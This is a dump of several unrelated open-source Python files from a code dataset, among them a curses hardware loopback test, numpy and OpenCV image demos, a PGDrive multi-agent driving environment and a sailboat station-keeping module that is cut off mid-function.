showpublicip)\n\niterm2.run_forever(main)\n","sub_path":"publicip.py","file_name":"publicip.py","file_ext":"py","file_size_in_byte":849,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"380277425","text":"\"\"\"Test the yig driver by looping back:\n note-cannot use YIG_*atten because it goes below ground\n YIG_1_tune to Analog_In_1 5:1 voltage divider\n YIG_1_tune to Analog_In_2 5:1 voltage divider\n YIG_2_tune to Analog_In_5 5:1 voltage divider\n YIG_2_tune to Analog_In_6 5:1 voltage divider\n P0_0 to P1_0\n P0_1 to P1_1\n P0_2 to P1_2\n\"\"\"\n\nimport time\nimport curses\nimport numpy as np\nimport matplotlib as mpl\nfrom matplotlib import pyplot as plt\nfrom time import sleep\nexec(compile(open(\"./io_board_subs.py\", \"rb\").read(), \"./io_board_subs.py\", 'exec'))\nGPIO.setwarnings(False)\ndef main(win):\n global stdscr\n stdscr = win\n curses.initscr()\n curses.nl()\n curses.noecho()\n#Instantiate the devices and objects we need\n dio = Dio()\n adc0 = Adc(0)\n dac0 = Dac(0)\n adc1 = Adc(1)\n dac1 = Dac(1)\n adc0.setOneShotMode()\n adc1.setOneShotMode()\n stdscr.clear\n stdscr.move(1,20)\n stdscr.addstr(\"YIG DRIVER LOOPBACK\")\n stdscr.move(2,1)\n stdscr.addstr(\"count: \")\n stdscr.move(4,1)\n stdscr.addstr(\"ANALOG_IN_1: \")\n stdscr.move(5,1)\n stdscr.addstr(\"ANALOG_IN_2: \")\n stdscr.move(6,1)\n stdscr.addstr(\"ANALOG_IN_5: \")\n stdscr.move(7,1)\n stdscr.addstr(\"ANALOG_IN_6: \")\n stdscr.move(9,1)\n stdscr.addstr(\"DIO OUT\")\n stdscr.move(9,12)\n stdscr.addstr(\"DIO IN\")\n stdscr.move(10,1)\n stdscr.addstr(\"0: \")\n stdscr.move(11,1)\n stdscr.addstr(\"1: \")\n stdscr.move(12,1)\n stdscr.addstr(\"2: \")\n stdscr.move(13,1)\n stdscr.addstr(\"4: \")\n stdscr.refresh()\n def check_db():\n dac0.write(2,32767) # U3-7 V_OUTC Analog_Out_3\n dac1.write(2,32767) # U6-7 V_OUTC Analog_Out_7\n i = 0\n while True:\n i = i+1\n stdscr.move(2,15)\n stdscr.clrtoeol()\n stdscr.addstr(str(i))\n dac0.write(0,i) # U3-1 V_OUTA Analog_Out_1 YIG_1_tune\n# dac1.write(0,i) # U6-1 V_OUTA Analog_Out_5 YIG_2_tune\n# dac0.write(1,i) # U3-2 V_OUTB Analog_Out_2 YIG_1_atten\n# dac0.write(3,i) # U6-2 V_OUTB Analog_Out_6 YIG_2_atten\n# Analog_In_1 = adc0.read(0)\n stdscr.move(4,15)\n stdscr.clrtoeol()\n# stdscr.addstr(str(Analog_In_1))\n# Analog_In_2 = adc0.read(1)\n stdscr.move(5,15)\n stdscr.clrtoeol()\n# stdscr.addstr(str(Analog_In_2))\n# Analog_In_5 = adc1.read(0)\n stdscr.move(6,15)\n stdscr.clrtoeol()\n# stdscr.addstr(str(Analog_In_5))\n# Analog_In_6 = adc1.read(1)\n stdscr.move(7,15)\n stdscr.clrtoeol()\n# stdscr.addstr(str(Analog_In_6))\n# dio.write(0)\n# readback = dio.read()\n stdscr.move(10,15)\n stdscr.clrtoeol()\n# stdscr.addstr(str(readback))\n# dio.write(1)\n# readback = dio.read()\n stdscr.move(11,15)\n stdscr.clrtoeol()\n# stdscr.addstr(str(readback))\n# dio.write(2)\n# readback = dio.read()\n stdscr.move(12,15)\n stdscr.clrtoeol()\n# stdscr.addstr(str(readback))\n# dio.write(4)\n# readback = dio.read()\n stdscr.move(13,15)\n stdscr.clrtoeol()\n# stdscr.addstr(str(readback))\n stdscr.refresh()\n sleep(0.05)\n if i >= 65535: \n i = 0\n check_db()\n curses.nocbreak(); \n stdscr.keypad(0); \n curses.echo()\ncurses.wrapper(main)\n","sub_path":"look_at_i2c_buss.py","file_name":"look_at_i2c_buss.py","file_ext":"py","file_size_in_byte":3163,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"653502721","text":"import numpy as np\nimport matplotlib\n\n# sudo apt install python3-tk\n# sudo -H pip3 install PyQt5\n# print('matplotlib all backends are:')\n# backends = sorted(matplotlib.rcsetup.all_backends, key=str.lower)\n# for backend in backends:\n# \tprint(' ', backend)\n# print('matplotlib default backend is:', matplotlib.get_backend())\n# matplotlib.use('Qt5Agg')\n# print('matplotlib current backend is:', matplotlib.get_backend())\nimport matplotlib.pyplot as plt\n\ndef mandelbrot(h, w, maxit=20):\n\t\"\"\"Returns an image of the Mandelbrot fractal of size (h,w).\"\"\"\n\ty, x = np.ogrid[-1.4:1.4:h * 1j, -2:0.8:w * 1j]\n\tc = x + y * 1j\n\tz = c\n\tdivtime = maxit + np.zeros(z.shape, dtype=int)\n\n\tfor i in range(maxit):\n\t\tz = z ** 2 + c\n\t\tdiverge = z * np.conj(z) > 2 ** 2 # who is diverging\n\t\tdiv_now = diverge & (divtime == maxit) # who is diverging now\n\t\tdivtime[div_now] = i # note when\n\t\tz[diverge] = 2 # avoid diverging too much\n\n\treturn divtime\n\ndef plot_histogram1():\n\t# Build a vector of 10000 normal deviates with variance 0.5^2 and mean 2\n\tmu, sigma = 2, 0.5\n\tv = np.random.normal(mu, sigma, 10000)\n\t# Plot a normalized histogram with 50 bins\n\tplt.hist(v, bins=50, normed=1) # matplotlib version (plot)\n\tplt.show()\n\ndef plot_histogram2():\n\tmu, sigma = 2, 0.5\n\tv = np.random.normal(mu, sigma, 10000)\n\t# Compute the histogram with numpy and then plot it\n\t(n, bins) = np.histogram(v, bins=50, normed=True) # NumPy version (no plot)\n\tplt.plot(.5 * (bins[1:] + bins[:-1]), n)\n\tplt.show()\n\ndef main():\n\tplt.imshow(mandelbrot(400, 400))\n\tplt.show()\n\t# plt.savefig('foo.png')\n\n\tplot_histogram1()\n\n\tplot_histogram2()\n\nif __name__ == '__main__':\n\tmain()\n","sub_path":"toys/numpy_mandelbrot.py","file_name":"numpy_mandelbrot.py","file_ext":"py","file_size_in_byte":1634,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"238680884","text":"import cv2\nimport numpy as np\n\n# https://www.youtube.com/watch?v=WQeoO7MI0Bs\n\nimg = cv2.imread(\"resources/Lena.png\")\nkernel = np.ones((5, 5), np.uint8)\n\n# making an image gray\nimgGray = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY)\n# cv2.imshow(\"gray image\", imgGray)\n\n# making an image blur\nimgBlur = cv2.GaussianBlur(imgGray, (7, 7), 0) # kernel need to be odd numbers\n# cv2.imshow(\"blur image\", imgBlur)\n\n# edge detection\nimgCanny = cv2.Canny(img, 150, 200)\n# cv2.imshow(\"canny\", imgCanny)\n\n# dialation\nimgDialation = cv2.dilate(imgCanny, kernel, iterations=1)\n# cv2.imshow(\"dialation\", imgDialation)\n\n# thinner image\nimgEroded = cv2.erode(imgDialation, kernel, iterations=1)\n# cv2.imshow(\"eroded\", imgEroded)\n\ncv2.waitKey(0)\n","sub_path":"Chapter2.py","file_name":"Chapter2.py","file_ext":"py","file_size_in_byte":722,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"187254924","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\"\"\"\n\n\"\"\"\n############\n# Standard #\n############\nimport os\nimport logging\n\n###############\n# Third Party #\n###############\nimport cv2\nimport numpy as np\nimport simplejson as sjson\nfrom pyadplugin import ADPluginServer, ADPluginFunction\n\n##########\n# Module #\n##########\nfrom .statistics import contouring_pipeline\n\nlogger = logging.getLogger(__name__)\n\ndef contouring_plugin(ad_prefix, plugin_prefix=\"\", plugin_suffix=\"\", \n save_image=False, image_dir=None, save_json=False, \n json_path=None, min_cbtime=2, stream=\"IMAGE2\",\n enable_callbacks=True, resize=1.0, kernel=(11,11),\n description=\"\", threshold_factor=2):\n \"\"\"\n Runs a pyadplugin that uses the contouring pipeline.\n \"\"\"\n # Set the image saving path\n if save_image:\n save_frequency = 0.2\n if image_dir is None:\n image_dir = Path(os.path.dirname(os.path.abspath(__file__)) / \n \"{0}_images_{1}\".format(\n plugin_prefix, plugin_suffix))\n else:\n image_dir = Path(str(image_dir))\n # Check that the path exists, create it if not\n if not image_dir.exists():\n image_dir.mkdir(parents=True)\n\n # Set the json saving path\n if save_json:\n if json_path is None:\n json_path = Path(os.path.dirname(os.path.abspath(__file__)) / \n \"{0}_data{1}.json\".format(\n plugin_prefix, plugin_suffix))\n else:\n json_path = Path(str(json_path))\n # Check the file and its parents exist, making them if they don't\n if not json_path.exists():\n json_path.parent.mkdir(parents=True)\n json_path.touch()\n\n # Description to be passed on as a PV\n if not description:\n description = \"PyADPlugin '{0}{1}': Pipeline to output beam statitics.\"\n\n # Define the ADPluginFunction\n def pyad_contouring_plugin(array, height=None, width=None):\n return contouring_pipeline(\n array, height=height, width=width, resize=resize, kernel=kernel,\n prefix=plugin_prefix, suffix=plugin_suffix, save=save_frequency,\n description=description, json_path=json_path, save_image=save_image,\n image_dir=image_dir, thresh_factor=threshold_factor)\n\n # Define the default values for the pv dictionary\n output_dict = {\n \"{0}:DESC{1}\".format(plugin_prefix, plugin_suffix): description,\n \"{0}:BEAM{1}\".format(plugin_prefix, plugin_suffix) : False, \n \"{0}:CENT:X{1}\".format(plugin_prefix, plugin_suffix) : -1, \n \"{0}:CENT:Y{1}\".format(plugin_prefix, plugin_suffix) : -1, \n \"{0}:LENGTH{1}\".format(plugin_prefix, plugin_suffix) : -1, \n \"{0}:WIDTH{1}\".format(plugin_prefix, plugin_suffix) : -1, \n \"{0}:AREA{1}\".format(plugin_prefix, plugin_suffix) : -1, \n \"{0}:MATCH{1}\".format(plugin_prefix, plugin_suffix) : -1,\n \"{0}:M{1}\".format(plugin_prefix, plugin_suffix) : np.zeros((24))-1,\n }\n\n logger.info(\"Running '{0}{1}' server for '{2}'.\".format(\n plugin_prefix, plugin_suffix, ad_prefix))\n\n try:\n # Set up the server\n pyad_server = ADPluginServer(\n prefix = prefix,\n ad_prefix = ad_prefix,\n stream = stream,\n min_cbtime = min_cbtime,\n enable_callbacks = enable_callbacks,\n )\n\n # Define the function\n pyad_function = ADPluginFunction(\n \"{0}{1}\".format(plugin_prefix, plugin_suffix), \n output_dict,\n pyad_contouring_plugin,\n pyad_server,\n )\n \n # Log any exceptions we run into\n except Exception as e:\n logger.error(\"Exception raised by pyad server/function:\\n{0}\".format(e))\n raise\n\n \n \n\n \n \n \n \n \n","sub_path":"psbeam/pyadplugins/plugins.py","file_name":"plugins.py","file_ext":"py","file_size_in_byte":3970,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"277501941","text":"# library imports\nimport cv2.cv2 as cv\nimport numpy as np\n\n# Chargement d'une image\nimg = cv.imread('../images/bgr.png')\ncv.imshow('Input', img)\n\n# Récupération de la longueur et la largueur\nwidth = img.shape[0]\nheight = img.shape[1]\n\n# Récupération des canaux de couleurs\nblues, greens, reds = cv.split(img)\n\n# display the image with OpenCV imshow()\n# cv.imshow('(B)lues', blues)\n# cv.imshow('(G)reens', greens)\n# cv.imshow('(R)eds ', reds)\n\n# Création d'une matrice vide avec convertion du depth\nzero = np.zeros((width, height))\nzero = np.uint8(zero)\n\nRG = cv.merge([zero, greens, reds])\nBR = cv.merge((blues, zero, reds))\nBG = cv.merge((blues, greens, zero))\nB = cv.merge((blues, zero, zero))\nG = cv.merge((zero, greens, zero))\nR = cv.merge((zero, zero, reds))\ncv.imshow('R+G', RG)\ncv.imshow('R+B', BR)\ncv.imshow('B+G', BG)\ncv.imshow('B', B)\ncv.imshow('G', G)\ncv.imshow('R', R)\n\n# OpenCV waitKey() is a required keyboard binding function after imwshow()\ncv.waitKey(0)\n# destroy all windows command\ncv.destroyAllWindows()","sub_path":"Exercices/exercice2.py","file_name":"exercice2.py","file_ext":"py","file_size_in_byte":1028,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"492740033","text":"import copy\nimport logging\n\nfrom pgdrive.constants import TerminationState\nfrom pgdrive.envs.pgdrive_env_v2 import PGDriveEnvV2\nfrom pgdrive.scene_creator.blocks.first_block import FirstBlock\nfrom pgdrive.scene_creator.road.road import Road\nfrom pgdrive.scene_manager.spawn_manager import SpawnManager\nfrom pgdrive.utils import setup_logger, get_np_random, PGConfig\nfrom pgdrive.utils.pg_config import merge_dicts\n\nMULTI_AGENT_PGDRIVE_DEFAULT_CONFIG = dict(\n # ===== Multi-agent =====\n is_multi_agent=True,\n num_agents=2, # If num_agents is set to None, then endless vehicles will be added only the empty spawn points exist\n\n # Whether to terminate a vehicle if it crash with others. Since in MA env the crash is extremely dense, so\n # frequently done might not be a good idea.\n crash_done=False,\n out_of_road_done=True,\n delay_done=25, # Wait for 5 seconds in real world.\n\n # Whether the vehicle can rejoin the episode\n allow_respawn=True,\n\n # The maximum length of the episode. If allow respawn, then this is the maximum step that respawn can happen. After\n # that, the episode won't terminate until all existing vehicles reach their horizon or done. The vehicle specified\n # horizon is also this value.\n horizon=1000,\n\n # ===== Vehicle Setting =====\n vehicle_config=dict(lidar=dict(num_lasers=72, distance=40, num_others=0)),\n target_vehicle_configs=dict(),\n\n # ===== New Reward Setting =====\n out_of_road_penalty=10,\n crash_vehicle_penalty=10,\n crash_object_penalty=10,\n crash_vehicle_cost=1,\n crash_object_cost=1,\n out_of_road_cost=0, # Do not count out of road into cost!\n\n # ===== Environmental Setting =====\n top_down_camera_initial_x=0,\n top_down_camera_initial_y=0,\n top_down_camera_initial_z=120, # height\n traffic_density=0.,\n auto_termination=False,\n camera_height=4,\n)\n\n\nclass MultiAgentPGDrive(PGDriveEnvV2):\n \"\"\"\n This serve as the base class for Multi-agent PGDrive!\n \"\"\"\n\n # A list of road instances denoting which roads afford spawn points. If not set, then search for all\n # possible roads and spawn new agents in them if possible.\n spawn_roads = [\n # Road(FirstBlock.NODE_1, FirstBlock.NODE_2),\n Road(FirstBlock.NODE_2, FirstBlock.NODE_3)\n ]\n\n @staticmethod\n def default_config() -> PGConfig:\n config = PGDriveEnvV2.default_config()\n config.update(MULTI_AGENT_PGDRIVE_DEFAULT_CONFIG)\n return config\n\n def __init__(self, config=None):\n self._raw_input_config = copy.deepcopy(config)\n super(MultiAgentPGDrive, self).__init__(config)\n self._top_down_renderer = None\n\n def _process_extra_config(self, config) -> \"PGConfig\":\n ret_config = self.default_config().update(\n config, allow_overwrite=False, stop_recursive_update=[\"target_vehicle_configs\"]\n )\n if not ret_config[\"crash_done\"] and ret_config[\"crash_vehicle_penalty\"] > 2:\n logging.warning(\n \"Are you sure you wish to set crash_vehicle_penalty={} when crash_done=False?\".format(\n ret_config[\"crash_vehicle_penalty\"]\n )\n )\n if ret_config[\"use_render\"] and ret_config[\"fast\"]:\n logging.warning(\"Turn fast=False can accelerate Multi-agent rendering performance!\")\n\n # Workaround\n if ret_config[\"target_vehicle_configs\"]:\n for k, v in ret_config[\"target_vehicle_configs\"].items():\n old = ret_config[\"vehicle_config\"].copy()\n new = old.update(v)\n ret_config[\"target_vehicle_configs\"][k] = new\n\n self._spawn_manager = SpawnManager(\n exit_length=ret_config[\"map_config\"][\"exit_length\"],\n lane_num=ret_config[\"map_config\"][\"lane_num\"],\n num_agents=ret_config[\"num_agents\"],\n vehicle_config=ret_config[\"vehicle_config\"],\n target_vehicle_configs=ret_config[\"target_vehicle_configs\"],\n seed=self._DEBUG_RANDOM_SEED\n )\n\n self._spawn_manager.set_spawn_roads(self.spawn_roads)\n\n ret_config = self._update_agent_pos_configs(ret_config)\n return ret_config\n\n def _update_agent_pos_configs(self, config):\n config[\"target_vehicle_configs\"] = self._spawn_manager.get_target_vehicle_configs(seed=self._DEBUG_RANDOM_SEED)\n return config\n\n def done_function(self, vehicle_id):\n done, done_info = super(MultiAgentPGDrive, self).done_function(vehicle_id)\n if done_info[TerminationState.CRASH] and (not self.config[\"crash_done\"]):\n assert done_info[TerminationState.CRASH_VEHICLE] or \\\n done_info[TerminationState.SUCCESS] or done_info[TerminationState.OUT_OF_ROAD]\n if not (done_info[TerminationState.SUCCESS] or done_info[TerminationState.OUT_OF_ROAD]):\n # Does not revert done if high-priority termination happens!\n done = False\n\n if done_info[TerminationState.OUT_OF_ROAD] and (not self.config[\"out_of_road_done\"]):\n assert done_info[TerminationState.CRASH_VEHICLE] or \\\n done_info[TerminationState.SUCCESS] or done_info[TerminationState.OUT_OF_ROAD]\n if not done_info[TerminationState.SUCCESS]:\n done = False\n\n return done, done_info\n\n def step(self, actions):\n o, r, d, i = super(MultiAgentPGDrive, self).step(actions)\n o, r, d, i = self._after_vehicle_done(o, r, d, i)\n\n # Update respawn manager\n if self.episode_steps >= self.config[\"horizon\"] or self.scene_manager.replay_system is not None:\n self.agent_manager.set_allow_respawn(False)\n self._spawn_manager.step()\n new_obs_dict = self._respawn_vehicles(randomize_position=self.config[\"random_traffic\"])\n if new_obs_dict:\n for new_id, new_obs in new_obs_dict.items():\n o[new_id] = new_obs\n r[new_id] = 0.0\n i[new_id] = {}\n d[new_id] = False\n\n # Update __all__\n d[\"__all__\"] = (\n ((self.episode_steps >= self.config[\"horizon\"]) and (all(d.values()))) or (len(self.vehicles) == 0)\n or (self.episode_steps >= 5 * self.config[\"horizon\"])\n )\n if d[\"__all__\"]:\n for k in d.keys():\n d[k] = True\n\n return o, r, d, i\n\n def reset(self, *args, **kwargs):\n self.config = self._update_agent_pos_configs(self.config)\n ret = super(MultiAgentPGDrive, self).reset(*args, **kwargs)\n assert (len(self.vehicles) == self.num_agents) or (self.num_agents == -1)\n return ret\n\n def _reset_agents(self):\n # update config (for new possible spawn places)\n for v_id, v in self.vehicles.items():\n if v_id in self.config[\"target_vehicle_configs\"]:\n v.vehicle_config = self._get_single_vehicle_config(self.config[\"target_vehicle_configs\"][v_id])\n super(MultiAgentPGDrive, self)._reset_agents() # Update config before actually resetting!\n for v_id, _ in self.vehicles.items():\n self._update_destination_for(v_id)\n\n def _after_vehicle_done(self, obs=None, reward=None, dones: dict = None, info=None):\n if self.scene_manager.replay_system is not None:\n return obs, reward, dones, info\n for v_id, v_info in info.items():\n if v_info.get(\"episode_length\", 0) >= self.config[\"horizon\"]:\n if dones[v_id] is not None:\n info[v_id][TerminationState.MAX_STEP] = True\n dones[v_id] = True\n self.dones[v_id] = True\n for dead_vehicle_id, done in dones.items():\n if done:\n self.agent_manager.finish(\n dead_vehicle_id, ignore_delay_done=info[dead_vehicle_id].get(TerminationState.SUCCESS, False)\n )\n self._update_camera_after_finish(dead_vehicle_id)\n return obs, reward, dones, info\n\n def _update_camera_after_finish(self, dead_vehicle_id):\n if self.main_camera is not None and dead_vehicle_id == self.agent_manager.object_to_agent(\n self.current_track_vehicle.name) \\\n and self.pg_world.taskMgr.hasTaskNamed(self.main_camera.CHASE_TASK_NAME):\n self.chase_another_v()\n\n def _get_target_vehicle_config(self):\n return {\n name: self._get_single_vehicle_config(new_config)\n for name, new_config in self.config[\"target_vehicle_configs\"].items()\n }\n\n def _get_observations(self):\n return {\n name: self.get_single_observation(self._get_single_vehicle_config(new_config))\n for name, new_config in self.config[\"target_vehicle_configs\"].items()\n }\n\n def _get_single_vehicle_config(self, extra_config: dict):\n \"\"\"\n Newly introduce method\n \"\"\"\n vehicle_config = merge_dicts(self.config[\"vehicle_config\"], extra_config, allow_new_keys=False)\n return PGConfig(vehicle_config)\n\n def _after_lazy_init(self):\n super(MultiAgentPGDrive, self)._after_lazy_init()\n\n # Use top-down view by default\n if hasattr(self, \"main_camera\") and self.main_camera is not None:\n top_down_camera_height = self.config[\"top_down_camera_initial_z\"]\n self.main_camera.camera.setPos(0, 0, top_down_camera_height)\n self.main_camera.top_down_camera_height = top_down_camera_height\n self.main_camera.stop_track(self.pg_world, self.current_track_vehicle)\n self.main_camera.camera_x += self.config[\"top_down_camera_initial_x\"]\n self.main_camera.camera_y += self.config[\"top_down_camera_initial_y\"]\n\n def _respawn_vehicles(self, randomize_position=False):\n new_obs_dict = {}\n if not self.agent_manager.has_pending_objects():\n return new_obs_dict\n while True:\n new_id, new_obs = self._respawn_single_vehicle(randomize_position=randomize_position)\n if new_obs is not None:\n new_obs_dict[new_id] = new_obs\n else:\n break\n return new_obs_dict\n\n def _force_respawn(self, agent_name, randomize_position=False):\n \"\"\"\n This function can force a given vehicle to respawn!\n \"\"\"\n self.agent_manager.finish(agent_name, ignore_delay_done=True)\n self._update_camera_after_finish(agent_name)\n new_id, new_obs = self._respawn_single_vehicle(randomize_position=randomize_position)\n return new_id, new_obs\n\n def _respawn_single_vehicle(self, randomize_position=False):\n \"\"\"\n Arbitrary insert a new vehicle to a new spawn place if possible.\n \"\"\"\n safe_places_dict = self._spawn_manager.get_available_respawn_places(\n self.pg_world, self.current_map, randomize=randomize_position\n )\n if len(safe_places_dict) == 0 or not self.agent_manager.allow_respawn:\n # No more run, just wait!\n return None, None\n assert len(safe_places_dict) > 0\n bp_index = get_np_random(self._DEBUG_RANDOM_SEED).choice(list(safe_places_dict.keys()), 1)[0]\n new_spawn_place = safe_places_dict[bp_index]\n\n if new_spawn_place[self._spawn_manager.FORCE_AGENT_NAME] is not None:\n if new_spawn_place[self._spawn_manager.FORCE_AGENT_NAME] != self.agent_manager.next_agent_id():\n return None, None\n\n new_agent_id, vehicle = self.agent_manager.propose_new_vehicle()\n new_spawn_place_config = new_spawn_place[\"config\"]\n vehicle.vehicle_config.update(new_spawn_place_config)\n vehicle.reset(self.current_map)\n self._update_destination_for(new_agent_id)\n vehicle.update_state(detector_mask=None)\n self.dones[new_agent_id] = False # Put it in the internal dead-tracking dict.\n\n new_obs = self.observations[new_agent_id].observe(vehicle)\n return new_agent_id, new_obs\n\n def _update_destination_for(self, vehicle_id):\n pass\n\n # when agent re-joined to the game, call this to set the new route to destination\n # end_road = -get_np_random(self._DEBUG_RANDOM_SEED).choice(self.spawn_roads) # Use negative road!\n # vehicle.routing_localization.set_route(vehicle.lane_index[0], end_road.end_node)\n\n def render(self, mode='human', text=None, *args, **kwargs):\n if mode == \"top_down\":\n ret = self._render_topdown(*args, **kwargs)\n else:\n ret = super(MultiAgentPGDrive, self).render(mode=mode, text=text)\n return ret\n\n def _render_topdown(self, *args, **kwargs):\n if self._top_down_renderer is None:\n from pgdrive.obs.top_down_renderer import TopDownRenderer\n self._top_down_renderer = TopDownRenderer(self.current_map, *args, **kwargs)\n self._top_down_renderer.render(list(self.vehicles.values()))\n\n def close_and_reset_num_agents(self, num_agents):\n config = copy.deepcopy(self._raw_input_config)\n self.close()\n config[\"num_agents\"] = num_agents\n super(MultiAgentPGDrive, self).__init__(config)\n\n\ndef _test():\n setup_logger(True)\n env = MultiAgentPGDrive(\n {\n \"num_agents\": 12,\n \"allow_respawn\": False,\n \"use_render\": True,\n \"debug\": False,\n \"fast\": True,\n \"manual_control\": True,\n \"pg_world_config\": {\n \"pstats\": False\n },\n }\n )\n o = env.reset()\n total_r = 0\n for i in range(1, 100000):\n # o, r, d, info = env.step(env.action_space.sample())\n o, r, d, info = env.step({v_id: [0, 1] for v_id in env.vehicles.keys()})\n for r_ in r.values():\n total_r += r_\n # o, r, d, info = env.step([0,1])\n d.update({\"total_r\": total_r})\n # env.render(text=d)\n if len(env.vehicles) == 0:\n total_r = 0\n print(\"Reset\")\n env.reset()\n env.close()\n\n\ndef _vis():\n setup_logger(True)\n env = MultiAgentPGDrive(\n {\n # \"use_render\": True,\n # \"fast\": True,\n \"num_agents\": 12,\n \"allow_respawn\": False,\n \"manual_control\": True,\n \"pg_world_config\": {\n \"pstats\": False\n },\n }\n )\n o = env.reset()\n total_r = 0\n for i in range(1, 100000):\n # o, r, d, info = env.step(env.action_space.sample())\n o, r, d, info = env.step({v_id: [0.0, 0.0] for v_id in env.vehicles.keys()})\n for r_ in r.values():\n total_r += r_\n # o, r, d, info = env.step([0,1])\n # d.update({\"total_r\": total_r})\n env.render(mode=\"top_down\")\n if len(env.vehicles) == 0:\n total_r = 0\n print(\"Reset\")\n env.reset()\n env.close()\n\n\ndef pygame_replay(name, env_class, save=True, other_ckpt=None):\n import copy\n import json\n import pygame\n env = env_class({\"use_topdown\": True})\n ckpt = \"metasvodist_{}_best.json\".format(name) if other_ckpt is None else other_ckpt\n with open(ckpt, \"r\") as f:\n traj = json.load(f)\n o = env.reset(copy.deepcopy(traj))\n frame_count = 0\n while True:\n o, r, d, i = env.step(env.action_space.sample())\n env.pg_world.force_fps.toggle()\n env.render(mode=\"top_down\", num_stack=50, film_size=(4000, 4000), history_smooth=0)\n if save:\n pygame.image.save(env._top_down_renderer._runtime, \"{}_{}.png\".format(name, frame_count))\n frame_count += 1\n if len(env.scene_manager.replay_system.restore_episode_info) == 0:\n env.close()\n\n\nif __name__ == '__main__':\n _vis()\n","sub_path":"pgdrive/envs/multi_agent_pgdrive.py","file_name":"multi_agent_pgdrive.py","file_ext":"py","file_size_in_byte":15730,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"43254788","text":"'''\nCreated on Jan 19, 2013\n\n@author: joshandrews\n'''\nimport math\nimport sys\nsys.path.append(\"..\")\nfrom datetime import datetime\nimport control.logic.standardcalc as standardcalc\nimport control.GlobalVars as gVars\nimport control.StaticVars as sVars\nimport thread\nimport control.sailbotlogger as SBLogger\nfrom control.logic import coresailinglogic\n\ndef setWayPtCoords(boxCoords): #sets the waypoints of the challenge\n wayPtCoords = [] #order = top face, right face, bottom face, left face\n if (boxCoords[0].lat == boxCoords[1].lat): #square\n wayPtCoords[0] = standardcalc.GPSDistAway(boxCoords[0], 20.0, 100.0)\n wayPtCoords[1] = standardcalc.GPSDistAway(boxCoords[1], 100.0, -20.0)\n wayPtCoords[2] = standardcalc.GPSDistAway(boxCoords[2], -20.0, -100.0)\n wayPtCoords[3] = standardcalc.GPSDistAway(boxCoords[3], -100.0, 20.0)\n elif (boxCoords[0].lat < boxCoords[1].lat): #diamond or tilted left square\n cAngle = standardcalc.angleBetweenTwoCoords(boxCoords[0],boxCoords[1])\n wayPntDist1 = 100.0*math.cos(cAngle)\n wayPntDist2 = 100.0*math.sin(cAngle)\n midDist1 = 20.0*math.cos(90 - cAngle)\n midDist2 = 20.0*math.sin(90 - cAngle)\n \n topMidpnt = standardcalc.GPSDistAway(boxCoords[0], midDist1, midDist2)\n rightMidpnt = standardcalc.GPSDistAway(boxCoords[1], midDist2, -midDist1)\n botMidpnt = standardcalc.GPSDistAway(boxCoords[2], -midDist1, -midDist2)\n leftMidpnt = standardcalc.GPSDistAway(boxCoords[3], -midDist2, midDist1)\n wayPtCoords[0] = standardcalc.GPSDistAway(topMidpnt, -wayPntDist1, wayPntDist2)\n wayPtCoords[1] = standardcalc.GPSDistAway(rightMidpnt, wayPntDist2, wayPntDist1)\n wayPtCoords[2] = standardcalc.GPSDistAway(botMidpnt, wayPntDist1, -wayPntDist2)\n wayPtCoords[3] = standardcalc.GPSDistAway(leftMidpnt, -wayPntDist2, -wayPntDist1)\n else: #right tilted square\n cAngle = 180 - standardcalc.angleBetweenTwoCoords(boxCoords[0],boxCoords[1])\n wayPntDist1 = 100.0*math.cos(cAngle)\n wayPntDist2 = 100.0*math.sin(cAngle)\n midDist1 = 20.0*math.cos(90 - cAngle)\n midDist2 = 20.0*math.sin(90 - cAngle)\n \n topMidpnt = standardcalc.GPSDistAway(boxCoords[0], midDist1, -midDist2)\n rightMidpnt = standardcalc.GPSDistAway(boxCoords[1], -midDist2, -midDist1)\n botMidpnt = standardcalc.GPSDistAway(boxCoords[2], -midDist1, midDist2)\n leftMidpnt = standardcalc.GPSDistAway(boxCoords[3], midDist2, midDist1)\n wayPtCoords[0] = standardcalc.GPSDistAway(topMidpnt, wayPntDist1, wayPntDist2)\n wayPtCoords[1] = standardcalc.GPSDistAway(rightMidpnt, wayPntDist2, -wayPntDist1)\n wayPtCoords[2] = standardcalc.GPSDistAway(botMidpnt, -wayPntDist1, -wayPntDist2)\n wayPtCoords[3] = standardcalc.GPSDistAway(leftMidpnt, -wayPntDist2, wayPntDist1)\n \n return wayPtCoords\n\n\ndef SKTimer():\n gVars.SKMinLeft = ((datetime.now() - gVars.taskStartTime ).seconds) / 60\n gVars.SKSecLeft = ((datetime.now() - gVars.taskStartTime ).seconds) - gVars.SKMinLeft*60\n gVars.SKMilliSecLeft = ((datetime.now() - gVars.taskStartTime).microseconds) / 1000\n\ndef getBoxDist(boxCoords):\n boxDistList = [] #top, right, bottom, left\n TL2Boat = standardcalc.distBetweenTwoCoords(gVars.currentData[sVars.GPS_INDEX], boxCoords[0]) #top left to boat\n TR2Boat = standardcalc.distBetweenTwoCoords(gVars.currentData[sVars.GPS_INDEX], boxCoords[1]) #top right to boat\n BR2Boat = standardcalc.distBetweenTwoCoords(gVars.currentData[sVars.GPS_INDEX], boxCoords[2]) #bottom right to boat\n TL2TR = standardcalc.distBetweenTwoCoords(boxCoords[0], boxCoords[1]) #top left to top right\n TR2BR = standardcalc.distBetweenTwoCoords(boxCoords[1], boxCoords[2]) #top right to bottom right\n \n topLeftAngle = standardcalc.findCosLawAngle(TL2TR, TL2Boat, TR2Boat)\n rightTopAngle = standardcalc.findCosLawAngle(TR2BR, TR2Boat, BR2Boat)\n \n boxDistList[0] = TL2Boat * math.sin(topLeftAngle) #top dist\n boxDistList[1] = TR2Boat * math.sin(rightTopAngle) #right dist\n boxDistList[2] = 40 - boxDistList[0] #bottom dist\n boxDistList[3] = 40 - boxDistList[1] #left dist\n return boxDistList\n\ndef stationKeepInit(topLeftWaypnt, 